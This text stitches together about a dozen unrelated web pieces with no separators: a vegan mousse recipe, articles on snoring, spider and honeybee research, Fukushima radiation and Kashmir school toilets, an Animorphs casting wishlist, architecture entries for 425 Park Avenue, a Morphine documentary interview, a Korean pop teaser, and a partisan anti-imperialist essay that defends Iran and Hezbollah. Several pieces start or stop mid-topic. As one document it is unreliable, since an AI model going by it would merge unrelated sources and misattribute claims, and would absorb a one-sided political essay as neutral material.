dark chocolate avocado mousse 5 from 1 vote Prep Time: 10 mins Total Time: 10 mins eggless and vegan mousse recipe. Author: dassana INGREDIENTS FOR dark chocolate avocado mousse (1 CUP = 250 ML) 1 large ripe avocado (makhanphal)
⅔ cup chopped dark semi sweet chocolate
1 tablespoon coconut oil
2 to 3 tablespoon regular sugar or organic cane sugar - add less or more to suit your taste
1 teaspoon instant coffee
½ teaspoon vanilla extract OR ½ teaspoon vanilla powder
some chopped cashews (kaju) for garnish
some chopped almonds (badam) for garnish
some chopped pistachios (pista) for garnish HOW TO MAKE dark chocolate avocado mousse in a microwave safe bowl add the chocolate, coconut oil, coffee and sugar.
mix these.
microwave for 45 seconds to 1 minute till the chocolate has melted.
don't overcook the chocolate as it will harden up.
just melt it and remove from the microwave.
you can melt the chocolate in a double boiler too.
now scoop the avocado flesh in a blender.
add the melted chocolate to it and blend till smooth.
scoop out the mousse in bowls or glasses and serve straightaway garnished with some chopped dry fruits.
The snoring spouse who feels "dragged" to the doctor's office is resentful that his or her snoring problem can't be left alone. The spouse that does the dragging-in is frustrated and tired. Ordinarily affectionate couples can have a strain in their relationship caused by snoring. Sometimes if it wasn't for their spouse, a snorer wouldn't even know they had a problem. As one of my patients recently told me, "I was very surprised when my lovely wife first clued me in that I was snoring at night. It was disturbing her sleep, but I didn't realize that snoring was the cause of my own fatigue."
The reason for resentment is understandable. Snoring can cause daytime symptoms that can cause serious problems in one's waking life, and unfortunately it is not just the snorer that suffers -- the snorer's spouse can suffer just as much.
According to the National Sleep Foundation, 39 percent of American adults get less than seven hours of sleep each weeknight, and more than one in three (37 percent) are so sleepy during the day that it interferes with daily activities. The sleep loss associated with snoring -- whether it's the snorer or the bed partner who is awakened by the snoring, interrupts important recuperative sleep, which can impair a person's ability to perform cognitive tasks involving memory, learning, reasoning and mathematical processes. It can impair motor skills and can cause morning headaches, irritability, burnout and depression, to mention just a few symptoms.
Symptoms can be even more severe for the snorer if they have sleep apnea, a condition which causes them to stop breathing often many times a night and wake gasping for air. Sleep apnea is linked to lung and heart disease, diabetes, obesity and stroke.
The disruption of sleep from snoring is causing couples to have a hard time sleeping together. To avoid the symptoms of daytime sleepiness, many couples choose not to sleep together in the same bed.
In the book, "Two in a Bed: The Social System of Couple Bed Sharing," author Paul C. Rosenblatt interviewed 42 couples and examined how sharing a bed affects the couple's relationship. Many couples described the intimacy and comfort level of sleeping in the same bed is extremely important to their relationship. As he describes in the book, in their time together before drifting off to sleep, "couples catch up on what's going on with one another, plan, make decisions, deal with disagreements and solve problems."
Decision-making styles of spiders
Studies have shown that when humans make decisions in a haste, they tend to make more mistakes. To investigate if the same holds true for spiders, the NUS research team, led by Associate Professor Li Daiqin from the Department of Biological Sciences at the NUS Faculty of Science, conducted studies on Portia labiata, a species of jumping spider. Portia labiata is known for its high cognitive ability and complicated foraging strategies, but its personality is unexplored.
The researchers first tested the aggressiveness of Portia labiata spiders by observing their responses when they are touched by a small soft brush. Spiders that attacked the brush were deemed to be more aggressive than those who ran away from the brush. After determining the personalities of the jumping spiders, researchers assessed how the spiders make decisions. In the experiments, the spiders were given the choice of selecting a large or a small preferred prey. The large prey is associated with being better in quality, but is more dangerous to attack. The small prey is of lower quality, but easier to attack. The researchers studied the time the spiders took to make their decision, and the choices they made.
The results showed that spiders who are aggressive made decisions faster than their docile counterparts. In addition, the choices they made are as accurate as those made by the docile spiders. The findings demonstrated that the personalities of the jumping spiders are related to their cognitive styles. Results of this study were reported in scientific journal Behavioral Ecology in December 2016.
Assoc Prof Li explained, "The outcome is rather surprising, as our team had initially thought that spiders that make quick decisions are more likely to make the wrong choices, similar to humans. This new knowledge provides us with a better understanding of ecological processes like foraging and predator-prey interactions in the animal kingdom."
Foraging performance of spiders
When predators hunt for food, they will usually consider the prey's size, speed of movement, and strength. While the predator's personality may not be ranked high on the list of factors, it has a significant influence on the predator's hunting strategy, according to another study conducted by a research team led by Assoc Prof Li. The results were reported in scientific journal Scientific Reports in January 2017.
In this study, the NUS research team examined the personalities and behavioural predictabilities of two species of jumping spiders. The spider-eating Portia labiata jumping spider was selected as the predator, while the Cosmophasis umbratica jumping spider, which is common prey of Portia labiata, was selected as the prey.
To test the aggressiveness of the predator, the researchers placed mirrors in front of the Portia labiata spiders, and observed their response to their images. Those that touched the mirror were deemed to be aggressive while those that kept far from the mirror were deemed to be docile. The researchers also assessed the boldness of the prey Cosmophasis umbratica by introducing a mock predator, made of putty and paper clips, into the container it resides, and observing the prey's behaviour. Each test was repeated five times to estimate the predictability of the spiders' behaviours, and to provide personality and predictability profiles of all the individuals studied. To determine the predator and prey interactions, the researchers placed a single predator and a single prey together to record the foraging performance of the predator. The test was conducted on different pairings, and the results were statically analysed.
"The results showed that aggressive predators fared better when catching a prey with unpredictable behaviour while docile predators performed much better when hunting a prey with predictable behaviour," explained Ms Chang Chia-chen, a PhD student from the NUS Department of Biological Sciences who is the first author of both studies.
Assoc Prof Li said, "Understanding personalities of spiders will shed light on how an individual animal with a particular behavioural type can improve its survivorship and reproduction. This has significant implications for evolutionary theories as a better understanding of non-animal personality may be extrapolated to humans, and help to provide a better understanding of the nature and evolution of human personalities. Furthermore, the study and management of animal personalities can play a crucial role in conservation, invasion biology and climate change."
More studies on personalities of spiders
Tabitha Soren, an artist and former reporter, became curious about the men who dreamed of becoming professional baseball players and what happened to those dreams (Michael Lewis, Ms Soren’s husband, had introduced her to the draft picks while he was writing “Moneyball: The Art of Winning an Unfair Game”). She photographed Mr Kiger along with 21 other baseball players who were part of the 2002 Oakland A’s draft class over the course of 15 years, charting the realities of trying to make it as an athlete. Compiled in a new book—which also includes essays penned by some of the players as well as short stories by Dave Eggers—Ms Soren states that her photographs capture “a psychological state of striving and what it looks like to try to touch greatness”. She shows them as they stretch while warming up, as they slide to safety while reaching a base, and as fans crowd around to take photos. There are plenty of the highs and adrenaline that sport provides.
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But the book is most effective in exploring the second acts of sporting careers. Jeremy Brown goes from five seasons in the minors and one in the majors to coal mining, before returning to baseball as a coach. Joe Blanton retired from the game and bought a vineyard in the Napa Valley, returning to the pros as a relief pitcher for the Los Angeles Dodgers (a neighbour got him back into the game: he needed somebody to play catch with). Nick Swisher ends up playing for the New York Yankees in the World Series-winning team of 2009; in 2010, he becomes an All-Star.
Through her lens, we see the passion and the disappointment that always accompanies sporting ambition; the images are most powerful when showing those who did not attain great stardom or immortality. On the opening page, Steve Stanley, a former outfielder for the Oakland A’s, is pictured swinging a bat; we are informed that he now works as an insurance agent. Steve Obenchain—who pitched in the minor leagues for five seasons—is shown teaching his young son (he was forced to retire due to an arm injury). He now works as a supervisor of portfolio support services at Donaldson Capital Management in Evansville, Indiana.
The toll of dreams thwarted is tangible: Mr Kiger is pictured first as a fresh, young, Oakland A’s player, bright in his green and gold uniform during his first spring training in 2003. This is powerfully juxtaposed with a portrait taken a decade later, where Mr Kiger sports the same pose but a white ribbed tank top instead of his uniform and a clutch of tattoos on his arms. “One of the managers said that he was his favourite type of player because he had nothing to lose,” explained Ms Soren. “He was going to make this, or he was not going to be able to make anything.” After his “nightmare period”—enduring the death of his parents, a divorce, homelessness, depression and substance abuse—Mr Kiger is back on his feet, working as a little league travel ball coach.
Last week we argued that it’s well past time Animorphs was rebooted. Just to make it easier on whatever network/platform takes us up on this idea (looking at you, Netflix), here’s who we would cast to lead the greatest 90’s YA adaptation ever. The focus is on finding younger, newer actors who could grow with the show. Hopefully younger audiences will grow with them. With that, here is our picks for our hypothetical (but hopeful) Animorphs reboot:
Jake
Jake is the reluctant leader of the team, who is drawn into the war when he discovers his brother is infected by one of the Yeerks, the alien slugs who are secretly invading the planet. He’s shown to be a natural born leader, though he constantly feels the weight of his responsibility. Think of the world-weary Aragorn, but in high school.
To capture that the charisma necessary to pull of the natural leader aspect, we’re going with Aramis Knight (Into the Badlands). Knight is also a basketball nerd, which is perfect since Jake balances fighting with trying to play high school ball. He’s got impressive physical skills from his training in Badlands, and a lot of experience from working beside Daniel Wu. Knight is the perfect choice to carry the team for a necessary 3-4 seasons.
Rachel
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My favorite character and all around bad-ass, Rachel is Jake’s cousin and the warrior of the group. She’s smart, though tends to be reckless because of her desire to jump into the fight. Rachel is the one you want beside you in the trenches, though not necessarily the one calling the shots. Think Ripley from Aliens, but a teenager and loves shopping.
Paris Berelc (Lab Rats: Elite Force), a trained gymnast and Disney Channel warrior: who could be better for Rachel? Berelc hasn’t had a long career, but she’s already headlined two Disney shows where she’s shown her action chops. She’s also in the web series Welcome to Howler, and plays a cold, calculating character; perfect for Rachel. What makes this character great is that she’s ruthless while also being a shopaholic; violent, but incredibly loving of her friends. Berelc has got the stuff to make this complex character pop on screen.
Marco
Marco is Jake’s best friend, and the comic relief of the group. He’s constantly cracking jokes, even during the most serious situations, much to Rachel’s annoyance. The key to his character is what lies underneath: the joking and general cynicism covers up the deep pain he holds over his mother’s death. He also takes care of his depressed father, while still trying to survive a war and high school (same thing really). Think a teenage Tony Stark, but without all the alcoholism.
Marco is going to be a hard character to get right, so going with a little more experience doesn’t hurt: Tony Revolori (The Grand Budapest Hotel) should be up to the task. Revolori exploded onto the scene after his turn as Zero, the dutiful bellhop in training in Grand Budapest Hotel. From there, he flexed his comedic chops in Dope and Son of Zorn. So far we’ve seen him prove that he can have an audience in fits when called upon, so it would be interesting to see him in a role that requires more action and weight, in addition to comedy. Hopefully he’s not too busy playing Flash Thompson in the new Spider-Man franchise to join this one as well.
Cassie
Cassie is Rachel’s best friend, and the moral center of the team. She challenges the ruthlessness of Rachel and Marco, providing an empathetic perspective to the war she has reluctantly joined. Cassie is also an environmentalist and the daughter of two veterinarians, providing her with a deeper connection with the animals whose DNA the team absorbs.
We looked at another Disney alumna for Cassie: China Anne McClain (A.N.T. Farm). She’s best known for her work as Jazmine Payne in Tyler Perry’s House of Payne and in Grown Ups. McClain has impressive range for someone so young. She has shown her ability to project a presence far beyond her age. That’s exactly what will be needed for Cassie, whose empathy is, at times, both wise and naive.
Tobias
Tobias is the odd-man out of the Animorphs. He’s the classic YA outsider: shy and quiet with nice eyes. He isn’t that good of friends with any of the members, but follows Jake around since he’s nice to him. Tobias is also an orphan from a low-income background, with an aunt and uncle who don’t care much about him. Most famously, Tobias spends most of the series trapped as a red-tailed hawk after spending too long in that form. Once upon a time, this part would’ve been played by Ezra Miller.
Miller is too old now, and too busy. So instead, we’re going with Amandla Stenberg (The Hunger Games). This is the biggest twist in our casting, and for good reason: Stenberg identifies as bisexual and non-binary.
While Tobias’ sexuality is not explicitly coded one way or the other, his narrative lends itself heavily to a character who is not heterosexual or cisgender. Already an outsider who doesn’t feel like he belongs anywhere, Tobias becomes stuck as a red-tailed hawk, though he reveals later that it may have been by choice. He struggles through the series with his new existence, but often describes feeling happier than when he was a human, as he is now free. Tobias literally transforms himself into who he “really” is. Later, when he gains the choice to change back, he continues to spend much of his time in his “true” form.
Stenberg delighted everyone as Rue in Hunger Games, and showed that quiet but sweet quality necessary to capture Tobias. Just as significantly, they have expressed their own struggles with acceptance, both from inside and out, with being bisexual and non-binary. This kind of experience lends itself to the performance, giving it both credentials and weight. The only downside is that we’d rarely get to see them, as they’d spend most of their performance doing voice-over work for a bird. Nonetheless, they’re the perfect choice.
Ax:
Aximili-Esgarrouth-Isthill (Ax for short) is the last member of the team, and in case the name didn’t give it away, he’s not of Earth. Ax is the younger brother of the alien prince of who gives the Animorphs their power, and stranded on Earth. He is a rather complex character, often providing comedic relief while also being pretentious and annoyed at the childish nature of the team. Oh, and he’s shaped like a deer-centaur with a scorpion tail with two stalk eyeballs so…there’s that.
Honestly this one could go a lot of directions, but we’d like to see it go to Forrest Goodluck (The Revenant). Goodluck showed his emotional range and pride as Hawk in The Revenant, both of which are key to Ax’s portrayal. Plus, having an actor of Native American heritage voice a character who tries his best to keep invasive aliens from eradicating the life and culture of other species is a delightful kind of irony.
Tom
There aren’t that many more important characters in the franchise, but just for fun here’s some more. Tom is Jake’s older brother, and the reason he has an emotional stake in the war. Now I haven’t seen him since The Office when he played Ravi for like a half second, but Sendhil Ramamurthy (Heroes) is delightful. He’s old enough to play Aramis Knight’s father, but hey, that’s the magic of Hollywood.
Visser 3
Visser 3 is the primary antagonist of the series, as the only Yeerk to have taken over the body of the shape-shifting Andalites (Ax’s species, try to keep up). Basically, think of a shapeshifting Darth Vader. In the spirit of bringing back actors, Alfred Molina is wonderful and always plays an intriguing villain.
Elfangor
Elfangor is Ax’s older brother, and the fallen Andalite prince who gives the young group of teens their powers. If that’s not Liam Neeson, I don’t know who is.
On 15th August 2014, Prime Minister Narendra Modi announced Swacch Vidyalaya Abhiyan – the Clean Schools Movement – and promised to build separate toilets for boys and girls at schools nationwide within a year. “There was a requirement of construction of 15,387 numbers of toilets in the schools which includes 4,699 making of dysfunctional toilets,” Priya said.
Minister further said that all the 15,387 toilets have been made functional before 15 August. “The schools in J&K are undergoing a silent transformation which will take time to bear fruit. We are committed to provide better facilities to students,” she said. As per Baseline Survey of Union Ministry of Drinking Water and Sanitation, Jammu and Kashmir is among the worst states with poor sanitation.
The report says that out of 20.5 million households in the state more than 54 per cent are without toilets. The survey states that JK is only ahead of Odisa and Bihar. As per a report by the Department of School Education and Literacy (DISE) under Union Ministry of Human Resource Development, out of 23,234 schools in JK, 14,116 schools are without toilet facilities.
The number of schools without toilet facilities for girls are 6,294, while the schools for boys without toilet facilities are 7,822, as per the report. It mentions that schools having dysfunctional girls’ and boys’ toilets are 2,797 and 2,553 respectively. The minister said that other infrastructures with regard to the educational sectors have also been focused seriously.
While the workers at Fukushima are continuously spraying reactor unit 3 with water from fire fighting and special forces trucks, the wider implications and impact of the nuclear disaster are becoming clearer.
Traces of radioactive Iodine have been found in Tokyo’s tap water (1.5Bq/kg). While this level does not present a serious risk, and is far below the officially allowed level (200 Bq/kg), it clearly demonstrates that the impacts of this nuclear disaster will be felt well beyond the site of the nuclear power plant itself.
More worrying is the levels of contamination founds in milk and spinach. Fifty kilometres away from the Fukushima nuclear facility, levels of radioactive iodine five times higher than officially allowed (1510 Bq/kg) have been found in milk. In an area more thans 100 km away, spinach was discivered to have radioactive iodine seven times higher (15020 Bq/kg) than the permissible levels for food. The Japanese government is considering banning the sale of all food products from the Fukushima Prefecture. Japan's Prime Minister's office has launched an official Twitter account in English, and, amongst other things, is using it to warn people in parts of the country that rain may contain small amounts of radiation. (screen shot)
The wind is still blowing most of the radioactivity to the sea, but tomorrow the forecast is towards the south in the morning and west in the afternoon.
Workers are still struggling to bring the stricken plant under control after successfully connecting reconnecting power at plants 5 and 6, the least affected so far. They hope to restore power to plants 1 and 2 later today. Water dropped at plant 3 and currently most attention is going to increasing the levels, once that is achieved they plant to focus on plant four. The situation remains perilous.
Further information: To help you decipher the complex information around radiation and health we have created a radiation guide covering effects, safety and basics of the Fukushima 1 radiation releases.
Also useful
Latest updates via our Twitter stream.
Our Q and A on the Fukushima nuclear crisis (lots of answers).
It is certainly true that the Islamic State is not the representative of anti-imperialist liberation for the people of Iraq or Syria. However, the declaration that there must now be a unilateral force composed of more than 55 nations lead by u.$. imperialism in order to fulfill an inaugural promise to “unite the civilised world against radical Islamic terrorism which we will eradicate completely from the face of the earth” is far from humanitarian.[2] They have not agreed upon an international action for the sake of those who have been brutalized by the Islamic State, but in order to take on the task of revitalizing a dying amerikan power in West and Central Asia. The sheer scope of enemies identified in the agreement should disturb all progressive humanity, but public outcry at the build-up for which this proposal calls has been muted. The latter is shocking, especially when the term “eradication” is used so frivolously in the context of war in the Third World.
The permissiveness of the amerikan and european publics toward this idea of combating “radical islam” or “islamic extremism” is produced by, as well as reinforces, a broader anti-islamic sentiment that juxtaposes an idea of “western civilization” to Islam, and to the Third World more broadly. It becomes hard to argue with this logic when even formerly leftist anti-Nazi slogans are being employed by the most rank opportunists in order to justify imperial involvement in crushing not only the ultra-reactionary Islamic State, but all vestiges of islamic resistance to imperialism. Such as the old international brigades slogan “if we don’t fight them there, we will have to fight them here” which has terrifying implications when carelessly laid over the landscape of “islamic extremism” as has been done by liberal and conservative imperialists alike. We should be much more skeptical of these appropriations and false historic parallels, which have proven highly useful to the far-right in their ascent.
Amerikan and western imperialism is suffocating after nearly 3 decades of unipolarity, however it is not yet dead. It is lashing out, now attempting to save itself from deepening crisis, and we cannot say for certain whether or not this is impossible for them to achieve. Nevertheless, the outlook is grim for the west, and the left should be working tirelessly to put to rest the idea of western supremacy for good, and to unite with the oppressed globally who will continue to suffer so long as imperialism clings to the surface of the globe. It is clear that deals such as these, which promote themselves on the basis of stopping the Islamic State, are utilizing weaponized anti-islamic rhetoric to consolidate public opinion for a renewed campaign. We must oppose this with all of our energy. The Islamic State, and threats of “islamic terror” cannot be used to bring us into alignment with anti-islamic forces and with imperialism more broadly.
Further, it is clear that Iran and groups such as Hezbollah and the legitimate Houthi Government of Yemen are the primary targets of this deal, and that after the campaign has been concluded in Syria and Iraq, or even before, that this unilateral force will be turned against them in some manner. Iran has been one of the primary financial and material backers for Palestinian liberation forces such as the PFLP (of whom Iran is the largest foreign backer) and Hamas, despite their Pro-Saudi stance. Further, they have contributed greatly to the national defense of Yemen against Saudi aggression, and to Hezbollah who has also played a great role in the fight against Israel as well as the western proxies in Syria. Additionally they have provided material support to many other groups and countries worldwide who have stood in opposition to amerikan imperialism. The demise of Iran at the hands of western imperialism would prove disastrous for the future of anti-imperialist struggle in the region as well as the world, and should be unequivocally opposed.
A new study found that when pairs of bees interact solely with their right antennas, they approach each other and begin interacting more quickly, and relate more positively to each other — for instance by extending their tongue, or proboscis. When they interact only with their left antennas, on the other hand, they are much more likely to respond negatively, arching their body into a C-shape so that their stingers and mandibles are pointed at the other bees, the study found.
Favoring the right
What does it mean? The findings suggest that bees prefer to use their right antennas in social situations to better relate to one another and to pick up on certain "social cues," said Giorgio Vallortigara, a researcher at Italy's University of Trento. [In Photos: Honeybee Scouts Find Food]
To conduct the research, the results of which were published on June 27 in the journal Scientific Reports, the scientists first randomly cut off a honeybee's right or left antenna. They then placed pairs of bees into a small container and filmed their interactions.
Surprisingly, bees with only their right antenna behaved almost identically to those with both antennas intact, the researchers found. Both groups were more likely to behave aggressively toward bees from another colony, for example. But bees with only the left antenna appeared unable to distinguish between bees from their own colony and those from an unfamiliar one, according to the study.
Remarkable abilities
This is just the latest finding to hint at the remarkable abilities of honeybees, which have brains that contain only 960,000 neurons (compared with about 86 billion neurons in an average human brain). In addition, honeybees can recognize human faces, navigate complex mazes and teach each other where to find food by dancing (have fun trying that one at the next club you visit!).
The study suggests that the bees' brains are wired asymmetrically, as are human brains.
"Until quite recently neuroscientists believed that brain asymmetry and lateralization of function" — meaning the left and right sides of the body do different things — "was a uniquely human phenomenon, associated with language and higher mental functions," Vallortigara told LiveScience. But in the last 20 years, however, research has shown this "asymmetry of function" in many different animals from mammals to reptiles and fish, he added. And now honeybees.
"The result is interesting, as it provides provocative information to suggest that there might be lateralization in the bee brain, as there is in vertebrate brains," said Gene Robinson, a researcher at the University of Illinois at Urbana-Champaign, who wasn't involved in the study.
Both humans' right-handedness and honeybees' right-antenna-preference are byproducts of asymmetries in the brain, meaning the left and right side of the brain do different things, Vallortigara said. This asymmetry could have evolved in vastly different animals due to similar evolutionary struggles to survive (finding food and a mate, for instance), or perhaps "they are linked in some more direct way at the genetic level," Vallortigara said. "We do not know as of yet."
Email Douglas Main or follow him on Twitter or Google+. Follow us @livescience, Facebook or Google+. Article originally on LiveScience.com.
This story was originally written for LiveScience and was republished with permisson here. Copyright 2013 LiveScience , a TechMediaNetwork company. All rights reserved.
Why honeybees are 'righties'
The two-day exhibit includes brief narratives and a host of visuals that were included as part of each finalist’s submissions, which were first presented to L&L Holding in July. The submissions on display are from the following international firms, each led by a Pritzker Prize-winning architect: competition winner Foster + Partners (Lord Norman Foster), Rogers, Stirk, Harbour + Partners (Lord Richard Rogers), OMA (Rem Koolhaas) and Zaha Hadid Architects. More images and information on the finalists’ proposals after the break.
In addition to the exhibit, Lord Norman Foster and L&L Holding Chairman and CEO David Levinson will present Foster + Partners’ 425 Park Avenue design concept as part of a panel discussion at the MAS Summit on Friday, October 19 at 9:00 am.
“Each of the four firms exhibited an incredible degree of creativity and inventiveness throughout the process,” said Mr. Levinson. “We are grateful for their efforts and thank the Municipal Art Society for providing the perfect venue to display each firm’s vision for a new 425 Park Avenue. We hope and trust that the summit’s attendees will be as inspired as we were with each presentation.”
Save this picture! Courtesy of Rogers Stirk Harbour Partners
The 425 Park Avenue project is a partnership among L&L Holding Company and Lehman Brothers Holdings Inc. The conceptual design will serve as the framework for a two-year collaborative process to create a fully formed architectural and construction plan. L&L Holding anticipates the start of construction in 2015 with the new 425 Park Avenue tower to be completed by the end of 2017.
Save this picture! Courtesy of Zaha Hadid Architects
Foster + Partners Height: 687 feet; Stories: 41
“Our aim is to create an exceptional building, both of its time and timeless, as well as being respectful of its context and celebrated Modernist neighbours—a tower that is for the City and for the people that will work in it, setting a new standard for office design and providing an enduring landmark that befits its world-famous location.
“Clearly expressing the geometry of its structure, the tapered steel-frame tower rises to meet three shear walls that will be illuminated, adding to the vibrant New York City skyline. Its elegant facade seamlessly integrates with an innovative internal arrangement that allows for three gradated tiers of column-free floors. Offering world-class, sustainable office accommodation, the new building anticipates changing needs in the workplace with large, flexible open floor plates. Each of the three tiers—low, medium and high-rise—is defined by a landscaped terrace with panoramic views across Manhattan and Central Park. To maximize the Park Avenue frontage, the core is placed to the rear, where glazed stairwells reveal long views towards the East River, while at street level, there is potential for a large civic plaza with significant works of art.”
— Lord Norman Foster
OMA Height: 648 feet; Stories: 38
“For Commercial Buildings, Manhattan’s zoning laws prescribe a silhouette from which there is no escape (yet): a stretched pyramid.
“Our current aesthetics oscillate between nearly exhausted orthogonality and a still immature curvaceousness. “Our building is an intersection of these two observations: it proposes a stack of three cubes —the lower one a full solid block on Park Avenue, the smallest on top, rotated 45 degrees vis-a-vis the Manhattan grid, oriented beyond its mere location in a sweep from Midtown to Central Park.
“The three cubes are connected by curved planes to create a subtle alternation of flat and 3 dimensional places, each reflecting sky and city in their own way. “The shape is at the same time highly artistic and highly efficient, a diagram of maximum beauty and maximum rentability, combined in a single, Brancusi-like shape. Its geometry at the same time reinforces and escapes the existing city. It resonates with each of its famous neighbors—Seagram, Lever, AT&T, Racquet Club—yet it is emphatically futuristic.”
— Rem Koolhaas
Rogers Stirk Harbour Partners Height: 665 feet; Stories: 44
Save this picture! Courtesy of Rogers Stirk Harbour Partners
“We have created a contemporary homage to the quintessential New York skyscraper, by designing a tower that will define the next chapter in their illustrious story. Our solution acknowledges the design attributes of its neighbours on Park Avenue, but brings new qualities: honest expression; generosity; efficiency and humanity. The clear expression of the process of construction is evident from the huge 43 storey steel frame down to the smallest detail, this gives the building a human scale.
“In designing sky gardens, we are reconnecting workers and the city with nature, by using different American landscape ecologies, from forest to alpine, to suit the different altitudes of each garden. These spaces also offer great views of the park and the metropolis.
“A generous open space at ground level gives users and passing public a retreat from the urban bustle. The exterior glass elevators create both a dynamism and an extremely flexible interior. “It is a tower that works both at the skyline and the street line, has a unique rhythm, and sets a new architectural bench mark for both Park Avenue and the great American skyscraper.”
— Lord Richard Rogers
Zaha Hadid Height: 669 feet; Stories: 40
Save this picture! Courtesy of Zaha Hadid Architects
“The design challenge for 425 Park Avenue lies in producing a structure of timeless elegance, yet with a strong identity that reflects the complex and sophisticated age in which it was created and mirrors the exceptional setting in which it is placed. Our approach has been to unite the four fundamental qualities for the project — Function, Design, Culture and Value — and fuse them into a single seamless design which incorporates these characteristics in a harmonious and unified architectural concept.
“With its breezy views up and down Park Avenue and breath-taking vistas of Central Park, the new building is quintessentially “New York” in its very definition. Its sleek verticality breathes the very essence of the city, while its gentle curves evoke a new dynamism of form which is both distinctly contemporary and ageless. This harmony is equally reflected in the building’s openness, flexible design and technological efficiency, providing an adaptable architectural context that allows it to accommodate its tenants’ requirements and desires.
“Together, these qualities make the new 425 Park Avenue a unique landmark for New York City.”
“I owned a club called the Electric Lounge, with a friend of mine Jay Hughey, back in the day in Austin,” relates Shuman, discussing meeting Morphine for the first time; “they were just getting their start … we got their two CDs, started playing them like crazy, starting to spread the word, we were the second time on their tour that they sold out.” Shuman met the band then, and hung out with them every time they came through town after. Many years later, and long after Morphine was no more, a friend sent Shuman a picture of saxophonist Dana Colley playing a gig at SXSW with an Electric Lounge shirt on. He told his friend to get Colley to stay put, he was coming over. “All the time that I had known Dana back in the day when they were playing and I would see them, he was always writing in these journals,” he explains. He asked Colley if he had done that the whole time Morphine was around, “and he said ‘yeah I did, and actually I did it a few months after, and then I quit.’” In Shuman’s film, Colley’s journals become the front line view of a band on the verge of breaking through, offering a counter story to everyone’s reflections looking back. Shuman’s goal was to make a film that centered on the band, the relationships inside it, the creation of the music, and the journey from side project to mega-label almost-hit machine. I say ‘almost’ because a big part of the story of film is lead-singer/bass-guitarist Mark Sandman’s troublesome relationship to the concept of success. This is a man who did actually want to have a hit song, but wanted to do it on his own terms, often to the frustration of his label. “The real reason I did it,” says Shuman about the impetus of the film, “was that I couldn’t think of a band in the world that deserved it more, and I felt like the band didn’t get the attention they deserved, and if you listen to their sound, it’s timeless.” Part of what makes Morphine so unique is their instrumentation. You’ve got a drummer, you’ve got a wailing baritone sax rattling the speakers on the bottom end, and then you got Sandman with a very smooth, almost carnal, baritone voice, and he plays this bizarre 2-string slide bass — “there’s no other band out there like that,” says Shuman. “It’s not over produced,” he continues, “I used a lot of live performances in the film and it plays well because the cuts they did live are very close to what are on the album.” Shuman says he was lucky because so much of the material was archived, often by the band himself – drummer Billy Conway spent many years going through tapes and preserving demos and live performances of Morphine and other songs that Sandman had written with various other projects. “There are a lot of music rights things on bands like these, that were on major labels,” Shuman says, but having the support of the band itself and Mark’s family opened a lot of doors that would have been closed otherwise. There is actually a lot of great music in the film, smart selections that cover the vast varieties of genres that Morphine dabbled in, and track their sound over a number of years. It’s actually rare to see a music doc with this much actual music in it, and yet still tells the whole story of the band.
Having the documentary film screen at a festival known for great story telling, one that emphasizes the writer, is not lost on Shuman. “To me I was very flattered that they took the time to recognize a documentary at a writer’s festival,” he says, “they wanted to do the world premiere, it’s my backyard, my adopted hometown.” Now that the film is done, people have begun asking him what his next project might be, what the next band is he’d like to profile. But the process of making a documentary really taught him how difficult it is to ‘create’ story out of nothing, even when you have something like a historical timeline to follow, especially once you are in the editing room. “It’s not like you have a wide or a close up to choose from,” he says, “there’s a thousand different angles.” With a documentary film, once you hit the editing stage, “you have to write it yourself.” For me, the film really has a three-act structure like a narrative film does, with the band being the protagonist, so that makes it an easy pick for a festival that prides itself on story. Plus, Austin is such a great music town, and the filmmaker’s own connection to the music scene here is vital to this story even being told.
However, Shuman says its not just about the music, “Morphine was a family … the people around it. Mark was very loyal to the people around him and they have all the conflicts that families do, and also all the closeness that families do.” One of the most fascinating revelations from the film is Mark Sandman’s relationship with his two drummers. One drummer, Jerome Deupree, was replaced very early on in the career of the band, but he ended up returning and playing side by side with the drummer (Conway) who had replaced him. I also find it very interesting that though Morphine has ceased to exist as entity for fifteen years now, the former band members themselves have no desire to distance themselves from their ‘legacy,’ if we can call it that. They put together an orchestral ensemble to tour the songs shortly after the last album, they performed Morphine songs as Twineman, a band that took its name from Sandman’s drawings and featured Colley and Conway along with singer Laurie Sargent, and most recently have hit the road as Vapors of Morphine, a semi-cover band of Colley, Deupree and Singer/guitarist Jeremy Lyons who play a mix of Morphine songs and new originals. Despite living full-time in Montana and touring with other acts, Billy Conway also plays occasional shows with Vapors of Morphine. “Right now they’re killing it,” Shuman says, “they were just in South America, where they have a huge following, … playing for thousands of people.” Vapors of Morphine will be playing a show at the Continental Club on Tuesday and the film will screen again at the State Theatre on Wednesday night. Although this is the film’s first stop on the festival circuit, I’m sure it will find its way into several more, and do it’s part to bring this singular noir-rock back to the forefront. “There’s a generation that missed them,” Shuman says, “and I said ‘this can’t happen, this band has to have the attention’ and I’m also a huge fan.” Agreed.
Bears Fonté is the Founder and Executive Director of Other Worlds Austin, a new festival in Texas’ capital focused on SciFi. Prior to that, Bears served as Director of Programming for Austin Film Festival from 2012-14, overseeing some 200 films selected to screen at eight venues over eight days. The 2013 Festival saw 28 world premiere features and 7 films picked up at the festival or the week after. His most recent short film, THE SECRET KEEPER, has been selected by over 35 US Film Festivals since September of 2012. His feature thriller iCRIME, which he wrote and directed, was released on DVD, VOD and streaming by Vicious Circle Films in 2011. Bears also self-produced two web-series which have been seen by a combined ten million viewers. Prior to arriving in Austin, Bears wrote coverage for independent producers and coverage services in LA and placed in nearly every single screenwriting contest out there including Screenwriter’s Expo, Final Draft Big Break, Page International, Story Pros and Austin Film Festival. Bears received his BA from Carleton College in British Studies and Theatre Studies and a MFA in Directing from Indiana University and has directed over forty plays, including the Austin Critics Table nominee Corpus Christi, and the Austin Shakespeare Festival’s Complete Works of Shakspeare Abridged. He studied writing with noted playwrights Jeff Hatcher and Denis Reardon, and directed the first-ever professional productions by Princess Grace Award-winning and Pulitzer Prize-nominated playwright Don Zolidis and up-and-coming playwright Itamar Moses. He is currently working on a new five minute short to submit to festivals in 2015.
D-4
GIRL'S DAY IS BACK
우리 궁금했지? 딱 1년 만이야. 하지만 이제 4일 남았다. 곧 정규 2집 'LOVE'로 만날 시간이야. 타이틀곡은 '링 마이 벨' 알지?
이건, 어디에도 공개한 적 없는 우리의 비밀 SNS야. 오직 '스타캐스트'에서만 볼 수 있는 비.밀.계.정.
# Before, # 아니라구?
# After, # 금발했~소Jin
# Before, # 식상하지?
# After, # 흑발혜리
# Before, # 심심하지?
# After, # 골드핑크
# Before, # 많이봤지?
# After, # 처음일걸!
# 리더언니, # 애교보소~Jin
